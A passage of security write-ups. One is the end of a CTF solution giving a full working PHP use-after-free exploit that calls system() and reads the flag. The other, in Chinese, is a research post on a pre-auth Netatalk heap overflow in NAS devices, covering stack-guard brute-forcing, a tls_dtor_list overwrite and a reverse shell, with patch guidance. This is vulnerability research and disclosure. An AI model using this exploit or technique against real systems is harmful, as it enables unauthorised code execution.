    void (*handler)(INTERNAL_FUNCTION_PARAMETERS);
    const struct _zend_internal_arg_info *arg_info;
    uint32_t num_args;
    uint32_t flags;
} zend_function_entry;

So the first member is a pointer to a string that contains the function name, and the next member is a handler to that function. In order to identify a member of the basic_functions structure we can follow the next approach:

  1. Read 8 bytes from an address —> Interpret those bytes as a pointer –> Read 8 bytes at the pointed memory
  2. Does the 8 bytes match our needle (bin2hex function name) ? If it doesn’t, increase the address by 8 and repeat 1

It can be translated to:

private function get_basic_funcs($base) {
    for ($i = 0; $i < 0x6700/8; $i++) {
        $leak = $this->leak($base - $i * 8);
        if (($base - $leak) > 0 && ($leak & 0xfffffffff0000000 ) == ($base & 0xfffffffff0000000 )) {
            $deref = $this->leak($leak);
            if ($deref != 0x6e69623278656800){ // 'nib2xeh\x00' ---> bin2hex
                continue;
            }
        } else continue;
        return $base - ($i-2) * 8;
    }
}

Once we have found where the zend_function_entry that holds the information for bin2hex() is located, we can repeat the process to locate the handler for zif_system:

    private function get_system($basic_funcs) {
    $addr = $basic_funcs;
    $i = 0;
    do {
        $f_entry = $this->leak($addr-0x10);
        $f_name = $this->leak($f_entry);
        if ($f_name == 0x736500646d636c6c) { //'se\x00dmcll'
            return $this->leak($addr + 8-0x10);
        }
        $addr += 0x20;
        $i += 1;
    } while ($f_entry != 0);
    return false;
}

Another aproach to locate the zif_system handler could be to just apply a pre-known offset to the zend_function_entry for bin2hex because the entries in the array are ordered.

Van Halen - Jump

Our exploit has all the ingredients ready, except from the last one: jumping into the target function. In order to call zif_system we are going to add a closure to our helper object and overwrite it. Closures are anonymous functions with the following structure:

typedef struct _zend_closure {
    zend_object std;
    zend_function func;
    zval this_ptr;
    zend_class_entry *called_scope;
    zif_handler orig_internal_handler;
} zend_closure;

If we look carefully we can see that one of the members is a zend_function structure:

union _zend_function {
	zend_uchar type;	/* MUST be the first element of this struct! */
	zend_op_array op_array;
	zend_internal_function internal_function;
};

And zend_internal_function is:

typedef struct _zend_internal_function {
    /* Common elements */
    zend_uchar type;
    zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */
    uint32_t fn_flags;
    zend_string* function_name;
    zend_class_entry *scope;
    zend_function *prototype;
    uint32_t num_args;
    uint32_t required_num_args;
    zend_internal_arg_info *arg_info;
    /* END of common elements */
    zif_handler handler;
    struct _zend_module_entry *module;
    void *reserved[ZEND_MAX_RESERVED_RESOURCES];
} zend_internal_function;

We can see the handler member. So the plan is easy:

  1. Copy the original zend_closure structure to other part
  2. Patch the $helper object to point to this new location instead of the original
  3. Patch the handler member to point to our zif_system
  4. Call the closure

The resultant code:

//...
$this->helper->b = function ($x) { };
//...
$fake_obj_offset = 0xd8;
for ($i = 0; $i < 0x110; $i += 8) {
	$this->write($this->placeholder, $fake_obj_offset + $i, $this->leak($closure_addr-0x10+$i));
}
$fake_obj_addr = $placeholder_addr +  $fake_obj_offset + 0x18;
print "\n[+] Fake Closure addr:\n0x" . dechex($fake_obj_addr);
$this->write($this->placeholder, 0x20, $fake_obj_addr);
$this->write($this->placeholder, $fake_obj_offset + 0x38, 1, 4); # internal func type
$this->write($this->placeholder, $fake_obj_offset + 0x68, $system); # internal func handler
     
($this->helper->b)($cmd);

Original closure:

gef  print (zend_closure) * 0x7ffff3e5ce00
$5 = {
  std = {
    gc = {
      refcount = 0x1, 
      u = {
        type_info = 0x18
      }
    }, 
    handle = 0x5, 
    ce = 0x5555567ea530, 
    handlers = 0x55555676daa0 <closure_handlers>, 
 ...
    internal_function = {
      type = 0x2, 
      arg_flags = "\000\000", 
      fn_flags = 0x2100001, 
      function_name = 0x7ffff3e01960, 
      scope = 0x7ffff3e032a0, 
      prototype = 0x0, 
      num_args = 0x1, 
      required_num_args = 0x1, 
      arg_info = 0x7ffff3e6b0c0, 
      handler = 0x100000000, 
      module = 0x200000000, 
      reserved = {0x7ffff3e72140, 0x7ffff3e03630, 0x7ffff3e5ce90, 0x0, 0x7ffff3e8d018, 0x7ffff3e8d010}
    }
...

Fake closure after patching it:

gef  print (zend_closure) * 0x7ffff3e7a240
$6 = {
  std = {
    gc = {
      refcount = 0x2, 
      u = {
        type_info = 0x18
      }
    }, 
    handle = 0x5, 
    ce = 0x5555567ea530, 
    handlers = 0x55555676daa0 <closure_handlers>, 
...
    internal_function = {
      type = 0x1, 
      arg_flags = "\000\000", 
      fn_flags = 0x2100001, 
      function_name = 0x7ffff3e01960, 
      scope = 0x7ffff3e032a0, 
      prototype = 0x0, 
      num_args = 0x1, 
      required_num_args = 0x1, 
      arg_info = 0x7ffff3e6b0c0, 
      handler = 0x555555965e1b <zif_system>, <---- :D
      module = 0x200000000, 
      reserved = {0x7ffff3e72140, 0x7ffff3e03630, 0x7ffff3e5ce90, 0x0, 0x7ffff3e8d018, 0x7ffff3e8d010}
    }
...

Chaining all together the exploit is:

<?php

class Helper { public $a, $b, $c, $d; } 

class exploit {
    public function __construct($cmd) {
        $concat_result_addr = $this->leak_heap();
        print "[+] Concated string address:\n0x";
        print dechex($concat_result_addr);
        $this->placeholder = $this->alloc(0x4F, "B");
        $placeholder_addr = $concat_result_addr+0xe0;
        print "\n[+] Placeholder string address:"; 
        print "\n0x".dechex($placeholder_addr);
        $this->free($placeholder_addr);
        $this->helper = new Helper;
        $this->helper->a = "KKKK";
        $this->helper->b = function ($x) { };
        print "\n[+] std_object_handlers:\n";
        $std_object_handlers = $this->str2ptr($this->placeholder);
        print "0x" . dechex($std_object_handlers) . "\n";
        $closure_addr = $this->str2ptr($this->placeholder, 0x20);
        print "[+] Closure:\n";
        print "0x" . dechex($closure_addr) . "\n";
       
        $basic = $this->get_basic_funcs($std_object_handlers);
        print "[+] basic_funcs:\n";
        print "0x" . dechex($basic) . "\n";
        $system = $this->get_system($basic);
        print "[+] zif_system:\n";
        print "0x" . dechex($system);

        $fake_obj_offset = 0xd8;
        for ($i = 0; $i < 0x110; $i += 8) {
            $this->write($this->placeholder, $fake_obj_offset + $i, $this->leak($closure_addr-0x10+$i));
        }
        $fake_obj_addr = $placeholder_addr +  $fake_obj_offset + 0x18;
        print "\n[+] Fake Closure addr:\n0x" . dechex($fake_obj_addr) . "\n\n";
        $this->write($this->placeholder, 0x20, $fake_obj_addr);
        $this->write($this->placeholder, $fake_obj_offset + 0x38, 1, 4); # internal func type
        $this->write($this->placeholder, $fake_obj_offset + 0x68, $system); # internal func handler
        
        ($this->helper->b)($cmd);
    }

    private function leak_heap() {
		$contiguous = [];
     		for ($i = 0; $i < 10; $i++) {
				$contiguous[] = $this->alloc(0x100, "D");
     		}
        $arr = [[1,3,3,7], [5,5,5,5]];
        set_error_handler(function() use (&$arr, &$buf) {
            $arr = 1337;
            $buf = str_repeat("\x00", 0x100);
        });
        $arr[1] .= $this->alloc(0x4A, "F");
        return $this->str2ptr($buf, 16);
    }

    private function free($var_addr) {

        $contiguous = [];
            for ($i = 0; $i < 10; $i++) {
                $contiguous[] = $this->alloc(0x100, "D");
            }
        $arr = [[1,3,3,7], [5,5,5,5]];
        set_error_handler(function() use (&$arr, &$buf, &$var_addr) {
            $arr = 1;
            $buf = str_repeat("AAABAACAADAAEAAF" . $this->ptr2str($var_addr) . "IAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY", 0x1);
        });
        $arr[1] .= 1337;
    }


    private function alloc($size, $canary) {
        return str_shuffle(str_repeat($canary, $size));
    }


    private function str2ptr($str, $p = 0, $n = 8) {
        $address = 0;
        for($j = $n - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p + $j]);
        }
        return $address;
    }

    private function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    private function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for ($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    private function leak($addr, $p = 0, $s = 8) {
        $this->write($this->placeholder, 0x10, $addr);
        $leak = strlen($this->helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    private function get_basic_funcs($base) {
        for ($i = 0; $i < 0x6700/8; $i++) {
            $leak = $this->leak($base - $i * 8);
            if (($base - $leak) > 0 && ($leak & 0xfffffffff0000000 ) == ($base & 0xfffffffff0000000 )) {
                $deref = $this->leak($leak);
                if ($deref != 0x6e69623278656800){ // 'nib2xeh\x00' ---> bin2hex
                    continue;
                }
            } else continue;
            return $base - ($i-2) * 8;
        }
    }

    private function get_system($basic_funcs) {
        $addr = $basic_funcs;
        $i = 0;
        do {
            $f_entry = $this->leak($addr-0x10);
            $f_name = $this->leak($f_entry);
            if ($f_name == 0x736500646d636c6c) { //'se\x00dmcll'
                return $this->leak($addr + 8-0x10);
            }
            $addr += 0x20;
            $i += 1;
        } while ($f_entry != 0);
        return false;
    }
}

new exploit("id");
?>

Fire in the hole!

➜  concat-exploit php blog05.php 
[+] Concated string address:
0x7f9e2c07a070
[+] Placeholder string address:
0x7f9e2c07a150
[+] std_object_handlers:
0x564fde7127c0
[+] Closure:
0x7f9e2c05ce00
[+] basic_funcs:
0x564fde70c760
[+] zif_system:
0x564fdd925e1b
[+] Fake Closure addr:
0x7f9e2c07a240

uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd),113(lpadmin),114(sambashare)

Epilogue

If you run the exploit in our environment, you will notice that it does not work. We built the exploit for a slighly different PHP version and all our tests were executed via PHP-CLI. The changes needed are:

  1. Move the 0x100 used in the str_repeat() to a constant. We are still atonished about this poltergeist.
  2. Change the “needle” used to identify the basic_functions array. From 0x6e69623278656800 to 0x73006e6962327865.
  3. Change the offset in the get_system() in 0x20, so the -0x10 should be a +0x10

The final exploit is:

<?php



class Helper { public $a, $b, $c, $d; }  //alloc(0x4F)

class exploit {
    const FILL = 0x100;
    public function __construct($cmd) {
        
        $concat_result_addr = $this->leak_heap();
        print "[+] Concated string address:\n0x";
        print dechex($concat_result_addr);
        $this->placeholder = $this->alloc(0x4F, "B");
        $placeholder_addr = $concat_result_addr+0xe0;
        print "\n[+] Placeholder string address:"; 
        print "\n0x".dechex($placeholder_addr);
        $this->free($placeholder_addr);
        $this->helper = new Helper;
        $this->helper->a = "KKKK";
        $this->helper->b = function ($x) { };
        print "\n[+] std_object_handlers:\n";
        $std_object_handlers = $this->str2ptr($this->placeholder);
        print "0x" . dechex($std_object_handlers) . "\n";
        $closure_addr = $this->str2ptr($this->placeholder, 0x20);
        print "[+] Closure:\n";
        print "0x" . dechex($closure_addr) . "\n";
       
        $basic = $this->get_basic_funcs($std_object_handlers);
        print "[+] basic_funcs:\n";
        print "0x" . dechex($basic) . "\n";
        $system = $this->get_system($basic);
        print "[+] zif_system:\n";
        print "0x" . dechex($system);


        $fake_obj_offset = 0xd8;

        for ($i = 0; $i < 0x110; $i += 8) {
            $this->write($this->placeholder, $fake_obj_offset + $i, $this->leak($closure_addr-0x10+$i));
        }

        $fake_obj_addr = $placeholder_addr +  $fake_obj_offset + 0x18;
        print "\n[+] Fake Closure addr:\n0x" . dechex($fake_obj_addr);

        $this->write($this->placeholder, 0x20, $fake_obj_addr);
        $this->write($this->placeholder, $fake_obj_offset + 0x38, 1, 4); # internal func type
        $this->write($this->placeholder, $fake_obj_offset + 0x68, $system); # internal func handler
        print "\nYour commnad, Sir:\n"; 
        print ($this->helper->b)($cmd);
    }


    private function leak_heap() {
        $contiguous = [];
        for ($i = 0; $i < 100; $i++) {
            $contiguous[] = $this->alloc(0x100, "D");
        }

        $arr = [[1,3,3,7], [5,5,5,5]];
        set_error_handler(function() use (&$arr, &$buf) {
            $arr = 1337;
            $buf = str_repeat("\x00", self::FILL);
        });
        $arr[1] .= $this->alloc(0x4F-5, "F");
        return $this->str2ptr($buf, 16);
    }
    private function free($var_addr) {

        for ($i = 0; $i < 100; $i++) {
            $contiguous[] = $this->alloc(0x100, "D");
        }

        $arr = [[1,3,3,7], [5,5,5,5]];
        set_error_handler(function() use (&$arr, &$buf, &$var_addr, &$payload) {
            $arr = 1;
            $buf = str_repeat("AAABAACAADAAEAAF" . $this->ptr2str($var_addr) . "IAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY", 0x1);
        });
        $arr[1] .= 1337;
    }

    private function alloc($size, $canary) {
        return str_shuffle(str_repeat($canary, $size));
    }


    private function str2ptr($str, $p = 0, $n = 8) {
        $address = 0;
        for($j = $n - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p + $j]);
        }
        return $address;
    }

    private function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    private function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for ($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    private function leak($addr, $p = 0, $s = 8) {
        $this->write($this->placeholder, 0x10, $addr);
        $leak = strlen($this->helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    private function get_basic_funcs($base) {
        for ($i = 0; $i < 0x6900/8; $i++) {
            $leak = $this->leak($base - $i * 8);
            if (($base - $leak) > 0 && ($leak & 0xfffffffff0000000 ) == ($base & 0xfffffffff0000000 )) {
                $deref = $this->leak($leak);
                if ($deref != 0x73006e6962327865){ // 0x6e69623278656800){ // 'nib2xeh\x00' ---> bin2hex  
        continue;
                }
            } else continue;
            return $base - ($i-2) * 8;
        }
    }

    private function get_system($basic_funcs) {
        $addr = $basic_funcs;
        $i = 0;
        do {
            $f_entry = $this->leak($addr-0x10);
            $f_name = $this->leak($f_entry,8);
            if ($f_name == 0x736500646d636c6c) { //'se\x00dmcll'
                return $this->leak($addr + 8+0x10);
            }
            $addr += 0x20;
            $i += 1;
        } while ($f_entry != 0); 
        return false;
    }
}

new exploit("cat /flag");

?>

Upload and execute it:

AdeptsOf0xCC{PHP_is_the_UAF_land}
AdeptsOf0xCC{PHP_is_the_UAF_land}

EoF

We hope you enjoyed this challenge!

Feel free to give us feedback at our twitter @AdeptsOf0xCC.

Your NAS is not your NAS !

English Version 中文版本

前年我們在 Synology 的 NAS 中發現了 Pre-auth RCE 的漏洞(CVE-2021-31439),並在 Pwn2Own Tokyo 中取得了 Synology DS418 play 的控制權,而成功獲得 Pwn2Own 的點數,後續也發現這個漏洞不只存在 Synology 的 NAS,也同時存在多數廠牌的 NAS 中,這篇研究將講述這漏洞的細節及我們的利用方式。

此份研究亦發表於 HITCON 2021,你可以從這裡取得投影片!

Network Attached Storage

早期 NAS 一般用途為讓伺服器本身與資料分開也為了做異地備援而使用的設備,功能上主要單純讓使用者可以直接在網路上存取資料及分享檔案,現今的 NAS 更是提供多種服務,不止檔案分享更加方便,也與 IoT 的環境更加密切,例如 SMB/AFP 等服務,可輕易的讓不同系統的電腦分享檔案,普及率也遠比以前高很多。

現今的 NAS,也可裝上許多套件,更是有不少人拿來架設 Server,在這智慧家庭的年代中,更是會有不少人與 home assistant 結合,使得生活更加便利。

Motivation

為何我們要去研究 NAS 呢 ?

紅隊需求

過去在我們團隊在執行紅隊過程中,NAS 普遍會出現在企業的內網中,有時更會暴露在外網,有時更會存放不少企業的機密資料在 NAS 上,因此 NAS 漸漸被我們關注,戰略價值也比以往高很多。

勒索病毒

近年來因為 NAS 日益普及,常被拿來放個人的重要資料,使 NAS 成為了勒索病毒的目標,通常駭客組織都會利用漏洞入侵 NAS 後,將存放在 NAS 中的檔案都加密後勒索,而今年年初才又爆發一波 locker 系列的事件,我們希望可以減少類似的事情再次發生,因而提高 NAS 研究的優先程度,來增加 NAS 安全性。也為了我們實現讓世界更安全的理想。

Pwn2Own Mobile 2020

最後一點是 NAS 從 2020 開始,成為了 Pwn2Own Mobile 的主要目標之一,又剛好前年我們也想嘗試挑戰看看 Pwn2Own 的舞台,所以決定以 NAS 作為當時研究的首要目標,前年 Pwn2Own 的目標為 Synology 及 WD ,由於 Synology 為台灣企業常見設備,所以我們最後選擇了 Synology 開始研究。

Recon

Environment

  • DS918+
  • DSM 6.2.3-25426

我們的測試環境是 DS918+ 與 Pwn2own 目標極為類似的型號,我們為了更佳符合平常會遇到的環境以及 Pwn2Own 中要求,會是全部 default setting 的狀態。

Attack surface

首先可先用 netstat 看 tcp 和 udp 中有哪些 port 是對外開放,可以看到 tcp 及 udp 中 在 default 環境下,就開了不少服務,像是 tcp 的 smb/nginx/afpd 等

而 udp 中則有 minissdpd/findhost/snmpd 等,多數都是一些用來幫助尋找設備的協定。

我們這邊挑了幾個 Service 做初步的分析

DSM Web interface

首先是 DSM Web 介面,最直覺也最直接的一部分,這部分大概也會是最多人去分析的一塊,有明顯的入口點,在古老時期常有 command injection 漏洞,但後來 Synology 有嚴格規範後徹底改善這問題,程式也採用相對保守的方式開發,相對安全不少。

SMB

Synology 中的 SMB 協定,使用的是 Open Source 的 Samba ,因使用的人眾多,進行 code review 及漏洞挖掘的人也不少,使得每年會有不少小洞,近期最嚴重的就是 SambaCry,但由於較多人在 review 安全性相對也比其他服務安全。

iSCSI Manager

主要協助使用者管理與監控 iSCSI 服務,由 Synology 自行開發,近期算比較常出現漏洞的地方,但需要花不少時間 Reverse ,不過是個不錯的目標,如果沒有其他攻擊面,可能會優先分析。

Netatalk

最後一個要提的是 Netatalk 也就是 afp 協定,基本上沒什麼改,大部分沿用 open source 的 Netatalk,近期最嚴重的漏洞為 2018 的 Pre-auth RCE (CVE-2018-1160),關於這漏洞可參考 Exploiting an 18 Year Old Bug ,Netatalk 相對其他 Service 過去的漏洞少非常多,是比較少被注意到的一塊,並且已經長時間沒在更新維護。

我們經過整體分析後, 認為 Netatalk 也會是 Synology 中最軟的一塊,且有 Source code 可以看,所以我們最後決定先分析他。當然也還有其他 service 跟攻擊面,不過這邊由於篇幅因素及並沒有花太多時間去研究就不一一分析介紹了。我們這次的重點就在於 Netatalk。

Netatalk

Apple Filing Protocol (AFP) 是個類似 SMB 的檔案傳輸協定,提供 Mac 來傳輸及分享檔案,因 Apple 本身並沒有開源,為了讓 Unlx like 的系統也可以使用,於是誕生了 Netatalk,Netatalk 是個實作 Mac 的 AFP 協定的 OpenSource 專案,為了讓 Mac 可以更方便的用 NAS 來分享檔案,幾乎每一廠牌的 NAS 都會使用。

Netatalk in Synology

Synology 中的 netatalk 是預設開啟,版本是改自 3.1.8 的 netatalk,並且有在定期追蹤安全性更新,只要剛裝好就可以用 afp 協定來與 Synology NAS 分享檔案,而 binary 本身保護有 ASLR/NX/StackGuard。

DSI

講漏洞之前,先帶大家來看一下 netatalk 中,部分重要結構,首先是 DSI,Netatalk 在連線時是使用的 DSI (Data Stream interface) 來傳遞資訊,Server 跟 Client 都是通過 DSI 這個協定來溝通,每個 connection 的 packet 都會有 DSI 的 header 在 packet 前面

DSI Packet Header :

DSI 封包中內容大致上會如上圖所示,會有 Flag/Command 等等 metadata 以及 payload 通常就會是一個 DSI Header + payload 的結構

AFP over DSI :

afp 協定的通訊過程大概如上圖所示,使用 AFP 時,client 會先去拿 server 資訊,來確定有哪些認證的方式還有使用的版本等等資訊,這個部分可以不做,然後會去 Open Session 來,開啟新的 Session,接著就可以執行 AFP 的 command ,但在未認證之前,只可以做登入跟登出等相關操作,我們必須用 login 去驗證使用者身份,只要權限沒問題接下來就可像 SMB 一樣做檔案操作

在 Netatalk 實作中,會用 dsi_block 作為封包的結構

dsi_block :

  • dsi_flag 就是指該 packet 是 request or reply
  • dsi_command 表示我們的 request 要做的事情
    • DSICloseSession
    • DSICommand
    • DSIGetStatus
    • DSIOpenSession
  • dsi_code
    • Error code
    • For reply
  • dsi_doff
    • DSI data offset
    • Using in DSIWrite
  • dsi_len
    • The Length of Payload

DSI : A descriptor of dsi stream

在 netatalk 中,除了原始封包結構外,也會將封包及設定檔 parse 完後,將大部分的資訊,存放到另外一個名為 DSI 結構中,例如 server_quantum 及 payload 內容等,以便後續的操作。

而封包中的 Payload 會存放在 DSI 中 command 的 buffer 中,該 buffer 大小,取自於 server_quantum,該數值則是取自於 afp 的設定檔 afp.conf 中。

如果沒特別設定,則會取用 default 大小 0x100000。

有了初步了解後,我們可以講講漏洞。

Vulnerability

我們發現的漏洞就發生在,執行 dsi command 時,讀取 payload 內容發生了 overflow,此時並不需登入就可以觸發。問題函式是在 dsi_stream_receive

這是一個將接收到封包的資訊 parse 後放到 DSI 結構的 function,這個 function 接收封包資料時,會先根據 header 中的 dsi_len 來決定要讀多少資料到 command buffer 中,而一開始有驗證dsi_cmdlen 不可超過 server quantum 也就是 command buffer 大小。

然而如上圖黃匡處,如果有給 dsi_doff ,則會將 dsi_doff 作為 cmdlen 大小,但這邊卻沒去檢查是否有超過 command buffer。

使得 dsi_strem_read 以這個大小來讀取 paylaod 到 command buffer 中,此時 command buffer 大小為 0x100000,如果 dsi_doff 大小超過 0x100000 就會發生 heap overflow。

Exploitation

由於是 heap overflow,所以我們這邊必須先理解 heap 上有什麼東西可以利用,在 DSM 中的 Netatalk 所使用的 Memory Allocator 是 glibc 2.20,而在 glibc 中,當 malloc 大小超過 0x20000 時,就會使用 mmap 來分配記憶體空間,而我們在 netatalk 所使用的大小則是 0x100000 超過 0x20000 因此會用 mmap 來分配我們的 command buffer。

因為是以 mmap 分配的關係,最後分配出來的空間則會在 Thread Local Storage 區段上面,而不是在正常的 heap segment 上,如上圖的紅框處。

afpd 的 memory layout 如上圖所示,上述紅框那塊就是,紅色+橘色這區段,在 command buffer 下方的是 Thread-local Storage。

Thread-local Storage

Thread-local Storage(TLS) 是用來存放 thread 的區域變數,每個 thread 都會有自己的 TLS,在 Thread 建立時就會分配,當 Thread 結束的時候就會釋放,而 main thread 的 TLS 則會在 Process 建立時就會分配,如前面圖片中的橘色區段,因此我們可利用 heap overflow 的漏洞來覆蓋掉大部分存放在 TLS 上的變數。

Target in TLS

事實上來說 TLS 可控制 RIP 的變數有不少,這邊提出幾個比較常見的

  • 第一個是 main arena,主要是 glibc 記憶體管理個結構,改 main arena 可以讓記憶體分配到任意記憶體位置,做任意寫入,但構造上比較麻煩。
  • 第二個是 pointer guard 可藉由修改 pointer guard 來改變原本呼叫的 function pointer ,但這邊需要先有 leak 跟知道原本 pointer guard 的值才能達成
  • 第三個則是改 tls_dtor_list ,不須 leak 比較符合我們現在的狀況

Overwrite tls_dtor_list

這技巧是由 project zero 在 2014 所提出的方法,覆蓋 TLS 上的 tls_dtor_list 來做利用,藉由覆蓋該變數可在程式結束時控制程式流程。

struct dtor_list
{
    dtor_func func;
    void *obj;
    struct link_map *map;
    struct dtor_list *next;
}

這邊就稍微提一下這個方法,tls_dtor_list 是個 dtor_list object 的 singly linked list 主要是存放 thread local storage 的 destructor,在 thread 結束時會去看這個 linked list 並去呼叫 destructor function,我們可藉由覆蓋 tls_dtor_list 指向我們所構造的 dtor_list。

而當程式結束呼叫 exit() 時,會去呼叫 call_tls_dtors() ,該 function 會去取 tls_dtor_list 中的 object 並去呼叫每個 destructor,此時如果我們可以控制 tls_dtor_list 就會去使用我們所構造的 dtor_list 來呼叫我們指定的函式。

但在新版本和 synology 的 libc 中,dtor_list 的 function pointer 有被 pointer guard 保護,導致正常情況下,我們並不好利用,一樣需要先 leak 出 pointer guard 才能好好控制 rip 到我們想要的位置上。

但有趣的是 pointer guard 也會在 TLS 上,他會存在 TLS 中的 tcbhead_t 結構中,如果我們 overflow 夠多,也可以在 overflow tls_dtor_list 的同時,也將 pointer guard 也一併清掉,這樣就可以讓我們不用處理 pointer guard 問題。

先來講講 tcbhead_t 這結構,這個結構主要是 Thread Control Block (TCB),有點類似 Windows 中的 TEB 結構 是 thread 的 descriptor,主要會用來存放 thread 的各種資訊,而在 x86_64 的 Linux 架構的 usermode 下,fs 暫存器會指向這位置,每當我們要存取 thread local variable 時,都會透過 fs 暫存器去 存取,我們可以看到 TCB 結構會有 stack guard 及 pointer guard 等資訊,也就是說當我們在拿 pointer guard 時,也是用 fs 暫存器從這個結構取出的。

我們回頭看一下 TLS 上的結構分佈,可以看到 tls_dtor_list 後方就是這個,tcbhead_t 結構。只要我們 overflow 夠多就可以蓋掉 pointer guard,然而此時會出現另外一個問題。

因為 stack guard 在 pointer guard 前,當我們蓋掉 pointer guard 的同時,也會蓋掉 stack guard。那麼蓋掉 stack guard 會有什麼影響呢?

在我們呼叫 dsi_stream_receive() 時,因為有開啟 stack guard 保護的關係,會先從 TLS 上,取得 stack guard 放在 stack 上,等到我們呼叫 dsi_stream_read 去 trigger overflow 且蓋掉 pointer guard 及 stack guard 後,在 dsi_stream_receive() 返回時,會去檢查 stack guard 是否與 TLS 中的相同,但因為這時候的 TLS 的 stack guard 已經被我們蓋掉了,導致檢查不通過而中止程式,就會造成我們無法利用這個技巧來達成 RCE。

Bypass stack guard

在 netatalk(afpd) 的架構中,事實上每次連線都會 fork 一個新的 process 來 handle 使用者的 request,而 Linux 中的 process 有個特性是 fork 出來的 process,memory address 及 stack gurad 等都會與原先的 parent process 相同,因此我們可以利用 CTF 常見的招式,一個 byte 一個 bytes brute-force 的方式來獲得 stack guard 。

Brute-force stack guard

基本概念是 在 overflow 之後,我們可以只蓋 TLS 中的 stack guard 最尾端一個 byte ,每次連線都蓋不同的 byte,一旦與 stack guard 不同,就會因為 abort 而中斷連線,我們可依據連線的中斷與否,判斷我們所覆蓋的數值是否與 stack guard 相同。

以上圖來說,我們假設 stack guard 是 0xdeadbeeffacebc00,由於 stack guard 特性,最低一個 byte 一定會是 0 ,這邊從第二個 byte 蓋起,這邊可以先蓋 00 試看看連線是否被中斷,如果被中斷代表蓋的數值是錯的,接下來我們就測其他數值看看有沒有中斷,依此類推,測到 0xbc 發現沒有中斷,代表第二個 byte 是 0xbc,接下來就繼續蓋第三 byte ,一樣從 0x00 蓋到沒中斷,直到蓋滿 8 bytes 的 stack guard 都沒中斷連線後,我們就可以知道 stack guard 的值是什麼,接下來我們就可以解決 stack guard 問題。

Construct the _dtor_list to control RIP

在解決 stack guard 問題後,netatalk 已可正常運作,接下來我們需要構造 _dtor_list 結構並結束程式來控制 RIP,在當時的 synology 的 afpd 中並沒有開啟 PIE,我們可以在 afpd 的 data 段中,構造 _dtor_list

剛好在使用 dhx2 method 的 login 功能中,會將我們要登入的 username 複製到 global 的 buffer 中,所以我們可以將這結構跟著 username 一起寫入固定的已知位置。

在一切都構造完成後,我們這邊可以觸發正常功能的 DSICloseSession 即可觸發 exit()

tls_dtor_list in Synology

在 reverse 後,發現 synology 的 glibc 中,會使用 __tls_get_addr() 來取得 tls_dtor_list,並非直接存取 tls_dtor_list 這個全域變數,而這函式的取得方式則會從前述 tcbhead_t 中先取 div 欄位後,再取得其中的 tls_dtor_list ,因此我們需要連同 tcb->div 一起構造在固定位置,另外一點是 Synology 的 afpd 中並沒有 system 可用,但事實上有 execl 可以使用,只是參數稍微複雜一點而已。

最後我們構造的結構如上圖所示,我們將 tcb 及 dtor_list 結構都構造在 username buffer 中,觸發 exit() 後,就會去執行 execl 並取得反連 shell。

Remark

在一般的 Netatalk 中,是會啟用 PIE ,不太容易在已知位置構造 _dtor_list,實際上也可以用類似方法 leak 出 libc 位置,依舊是 exploitable,該漏洞不只影響 Synology 也會影響到大部分有使用 Netatalk 的設備。

Other vendor

我們測試了許多家有使用到 Netatalk 的廠商,發現不少家有存在類似的問題,部分是 unexploitable 但也有部分是 exploitable。我們這邊實測了 QNAP 及 Asustor,皆有成功獲得 shell。

QNAP

  • We tested on TS451
    • QTS 4.5.4.1741
  • Not enable by default
  • Protection
    • No Stack Guard
    • No PIE
  • 內建 system

Asustor

  • We tested on AS5202T
    • ADM 3.5.7.RJR1
  • Not enable by default
  • Protection
    • No Stack Guard
    • No PIE
  • 內建 system

QNAP 及 Asustor 兩家 NAS 都沒有開啟 Stack guard,不需 brute-force 即可獲得反連 shell。

這個漏洞在 Synology 尚未修補時,只要 default 裝好就可以利用,不需任何認證,而 QNAP 及 Asustor 雖然不是預設開啟,但不少有使用 Mac 的用戶,還是會為了方便把它打開,基本上只要是 NAS 幾乎都會用到 Netatalk,絕大多數的 NAS 都有影響,只要有開啟 Netatalk,攻擊者可以利用這個漏洞打下大部分的 NAS。你的 NAS 就再也不會是你的 NAS。

我們後來也從 shodan 上發現,其實也有非常多人將 netatalk 開在外網,光在 shodan 上就有 13 萬台機器,其中大部分是 Synology。

Mitigation

Update

目前上述三台皆已修補,請尚未更新的用戶更新到最新

  • Synology
    • https://www.synology.com/zh-hk/security/advisory/Synology_SA_20_26
  • QNAP
    • https://www.qnap.com/en/security-advisory/qsa-21-50
  • Asustor
    • https://www.asustor.com/service/release_notes#ADM%203.5.7.RKU2

該漏洞也在近期釋出的 Netatalk 3.1.13 版本中修復,如有使用到 Netatalk 3.1.13 以前版本,也請務必更新。

Disable AFP

  • 沒使用 AFP 時,最好直接關掉或只限制在內網存取。該 project 幾乎已經很少維護,繼續使用風險極高。
  • 改用 SMB 相對安全
